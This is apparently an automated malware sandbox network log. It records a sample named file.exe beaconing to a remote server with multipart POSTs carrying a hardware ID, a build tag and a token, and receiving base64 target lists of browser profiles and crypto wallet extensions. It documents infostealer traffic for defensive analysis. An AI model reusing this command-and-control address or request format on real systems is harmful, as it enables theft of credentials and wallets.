Dec 8, 2024 17:45:50.077729940 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.077766895 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.078727961 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.078739882 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.078782082 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.079708099 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.079848051 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.079900026 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.080650091 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.080663919 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.080703974 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.081509113 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.081521034 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.081535101 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.081546068 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.081634998 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.081634998 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.082344055 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.082386971 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.082438946 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.082496881 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.083268881 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.083338022 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.083425045 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.083475113 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.084295988 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.084345102 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.084351063 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.084383011 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.085302114 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.085361004 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.085371971 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.085402966 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.086317062 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.086376905 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.139894009 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.139951944 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.140002012 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.140036106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.140345097 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.140479088 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.140522957 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.141392946 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.141469955 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.141597986 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.142441988 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.142553091 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.142599106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.143389940 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.143506050 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.143578053 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.144419909 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.144512892 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.144529104 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.144648075 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.145415068 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.145469904 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.145546913 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.145591974 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.145714998 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.145850897 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.145868063 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.145988941 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.146421909 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.146471977 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.146585941 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.146682978 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.147464037 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.147515059 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.147573948 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.147624969 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.148452997 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.148499966 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.148508072 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.148554087 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.149482012 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.149528027 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.149617910 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.149662971 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.150227070 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.150289059 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.150296926 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.150440931 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.150495052 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.150496960 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.150585890 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.150631905 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.151504993 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.151555061 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.151611090 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.151665926 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.152498960 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.152544975 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.152604103 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.152656078 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.153558969 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.153604984 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.153676987 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.153732061 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.154525042 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.154573917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.154575109 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.154628992 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.154714108 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.154791117 CET	49840	443	192.168.2.6	150.171.27.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 8, 2024 17:45:17.963413000 CET	192.168.2.6	1.1.1.1	0x9ff6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 8, 2024 17:45:17.963565111 CET	192.168.2.6	1.1.1.1	0x9af3	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 8, 2024 17:45:24.715359926 CET	192.168.2.6	1.1.1.1	0xa07b	Standard query (0)	ogs.google.com	65	IN (0x0001)	false
Dec 8, 2024 17:45:24.715359926 CET	192.168.2.6	1.1.1.1	0x8d23	Standard query (0)	ogs.google.com	A (IP address)	IN (0x0001)	false
Dec 8, 2024 17:45:24.731115103 CET	192.168.2.6	1.1.1.1	0x6c25	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 8, 2024 17:45:24.731358051 CET	192.168.2.6	1.1.1.1	0xbfe9	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 8, 2024 17:45:25.724086046 CET	192.168.2.6	1.1.1.1	0xf920	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 8, 2024 17:45:25.724617004 CET	192.168.2.6	1.1.1.1	0x8898	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 8, 2024 17:45:03.299493074 CET	1.1.1.1	192.168.2.6	0x1021	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2024 17:45:03.299493074 CET	1.1.1.1	192.168.2.6	0x1021	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Dec 8, 2024 17:45:18.100704908 CET	1.1.1.1	192.168.2.6	0x9ff6	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Dec 8, 2024 17:45:18.100716114 CET	1.1.1.1	192.168.2.6	0x9af3	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 8, 2024 17:45:24.852207899 CET	1.1.1.1	192.168.2.6	0x8d23	No error (0)	ogs.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2024 17:45:24.852207899 CET	1.1.1.1	192.168.2.6	0x8d23	No error (0)	www3.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Dec 8, 2024 17:45:24.852489948 CET	1.1.1.1	192.168.2.6	0xa07b	No error (0)	ogs.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2024 17:45:24.871967077 CET	1.1.1.1	192.168.2.6	0xbfe9	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2024 17:45:24.872142076 CET	1.1.1.1	192.168.2.6	0x6c25	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2024 17:45:24.872142076 CET	1.1.1.1	192.168.2.6	0x6c25	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Dec 8, 2024 17:45:25.862056017 CET	1.1.1.1	192.168.2.6	0xf920	No error (0)	play.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Dec 8, 2024 17:46:11.349452019 CET	1.1.1.1	192.168.2.6	0xd663	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2024 17:46:11.349452019 CET	1.1.1.1	192.168.2.6	0xd663	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Dec 8, 2024 17:46:11.349452019 CET	1.1.1.1	192.168.2.6	0xd663	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49715	185.215.113.206	80	7296	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 17:45:09.423468113 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 8, 2024 17:45:10.972634077 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 8, 2024 17:45:11.052201033 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAECFIJDAAAKECBFCGHI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 30 36 31 30 43 43 43 46 42 37 33 31 35 34 36 30 38 36 36 30 33 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 2d 2d 0d 0a Data Ascii: ------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="hwid"E0610CCCFB731546086603------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="build"stok------DAECFIJDAAAKECBFCGHI--
Dec 8, 2024 17:45:11.516825914 CET	407	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6a 56 6b 59 57 4d 35 5a 54 52 6a 5a 44 67 79 4d 7a 63 35 59 7a 55 30 4e 7a 4d 35 4f 44 64 6c 4d 6a 41 78 4d 32 4a 6a 4d 44 6c 6a 4d 47 51 32 5a 6d 45 79 59 6a 42 6c 4e 6a 4d 35 4e 7a 64 6b 4d 44 42 68 4e 6a 46 6b 5a 44 55 33 4d 54 41 30 5a 47 49 33 4d 6a 5a 68 4e 6d 49 31 59 54 49 35 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NjVkYWM5ZTRjZDgyMzc5YzU0NzM5ODdlMjAxM2JjMDljMGQ2ZmEyYjBlNjM5NzdkMDBhNjFkZDU3MTA0ZGI3MjZhNmI1YTI5fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 8, 2024 17:45:11.518338919 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAECAFHDBGIDGCAEHJE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 2d 2d 0d 0a Data Ascii: ------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="message"browsers------DAAECAFHDBGIDGCAEHJE--
Dec 8, 2024 17:45:11.968817949 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 8, 2024 17:45:11.968907118 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 8, 2024 17:45:11.971107006 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="message"plugins------CBGCAFIIECBFIDHIJKFB--
Dec 8, 2024 17:45:12.416388988 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 8, 2024 17:45:12.416429043 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
